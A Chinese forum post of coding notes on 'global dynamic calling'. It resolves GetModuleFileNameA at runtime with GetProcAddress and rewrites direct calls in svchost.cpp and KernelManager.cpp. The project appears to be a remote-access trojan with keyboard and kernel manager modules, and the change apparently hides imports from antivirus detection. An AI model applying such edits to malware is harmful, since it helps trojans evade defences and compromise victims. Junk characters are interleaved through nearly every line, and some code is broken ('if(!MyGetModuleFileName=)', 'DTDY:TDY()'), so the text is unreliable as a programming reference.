返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记% J+ M# ?! }# L/ [/ g: v
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h7 P# Y* S3 C- f2 y( Q* t* U% [1 S' `
----------------------------------------- q! v) F* h+ W
DTDY.h:
2 }. f/ a; O8 G0 E: Y% n: B! b
" A( J5 b+ z  i% _#if _MSC_VER>1000
+ Z6 H$ E: F( N#pragma once
9 E' p0 ^3 I: y' t7 M4 }7 ^#endif //_MSC_VER>1000
* `2 j6 ^4 {: p7 P, m#include<windows.h>. @) t8 _: g3 F

( X0 ]# d+ ?8 r2 atypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
& q* x7 I- z/ E1 h4 Mclass DTDY3 k5 Q: C7 \3 s4 u
{- }( ^' h( x+ K+ S
public:
+ ~5 ~+ L0 f, hDTDY();
8 c/ q7 R( e( ]( Gvirtual ~DTDY();  a. A" Q. [% L' ~: w. \, X
public:
, @0 u; V6 F- j( P4 Z) X2 Gstatic pGetModuleFileNameA MyGetModuleFileName;
) M+ N- [' u" Q. o  l" Zstatic BOOL FunInitiallization();
( m3 q, P: Z$ K0 |  \};! j/ ^) s+ I: ^
#endif. i" y3 J) K- j
----------------------------------------$ {$ W  w5 \; }! H

" m5 m+ z/ ^, a- k( q: h; ~  t# g- GDTDY.cpp:, s" |0 N( _% z2 }( i6 S2 f

- M% Q( e$ P7 L7 |#include "DTDY.h"
( J, D8 s* P  d4 LpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
5 d5 C! ^7 M# o; ]DTDY:TDY()
9 @- E& _/ I" h7 t{
4 ?1 ~4 J% J; ]7 l( I( A: ]}
1 h* E  e* i4 _- g- oDTDY::~DTDY()
2 n5 {0 `; N7 i. m* U; ?6 `{
# J' T- _+ {- ?$ z}
5 g, u7 V) \. ]" J% }' D( i8 r( [BOOL DTDY::FunInitiallization()
2 I; k  y6 C- D+ E+ q$ Z( h{" ~( o  Z& `6 A, I6 J0 v
HMODULE hModule=LoadLibrary("kernel32.dll");
. x+ X8 Q& p; P5 JMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");1 y6 T5 c" o) B3 P' }. b
if(!MyGetModuleFileName=) return FALSE;& c8 h" ?# f8 F8 L3 i

1 }3 G: ^. K$ Z7 P  s9 breturn TRUE;
; j7 A& c5 M) f% R  K; @}/ ]8 c, C7 i( ^. p# f8 M7 }
----------------------------------------; x" ^# B% z9 \; T$ |7 Y
svchost.cpp:5 @: a! k& |; O6 `; ?( q, k

$ _1 a* e, O4 q) H' `- n#include "DTDY.h"
7 _' f+ a7 o* w9 D6 I% s& k) O
* |( x; t3 z4 q" G% yBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
" \. L' y0 A: f# {& C{
: L' M- {. L2 i; G1 G1 [switch(ul_reason_for_call)- z, r/ M: }3 D2 u& n+ x
{
/ X0 X0 t& O7 m3 m  _case DLL_PROCESS_ATTACH:2 o# z9 }* ~5 w8 a
if(!DTDY::FunInitiallization()) return FALSE;
1 ]1 A9 v3 C8 z$ `+ c; D* ?$ Z0 B3 x, G
break;! }9 m3 k. h, I; O3 l" V0 e
}6 m/ x) ^7 q/ i* |# F4 w. L
}
5 Y4 R/ W( i) ]2 o3 m3 C/ l' N# k, L, l/ B3 r
: j, ^4 P' K) W4 j- Q7 h
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
6 n* I5 @5 t5 p) B3 b7 b9 s改写为' f+ x" r. A6 g1 W9 @
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));" p( p0 y# R( G; [% H  @
----------------------------------------, c, V7 `( O" l" E& t
KernelManager.cpp:8 A; c+ D' F: g) |  |2 Y9 G

. N; m  V3 R7 ~& U3 N#include "../DTDY.h", ?7 Z( C- A" k2 o  I2 |: r+ Y
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
/ \, V6 U* D, w( E3 r3 y' e改写为
& ~$ e/ e+ V$ J, cDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
' y5 s( e( p; d" w8 H----------------------------------------

返回列表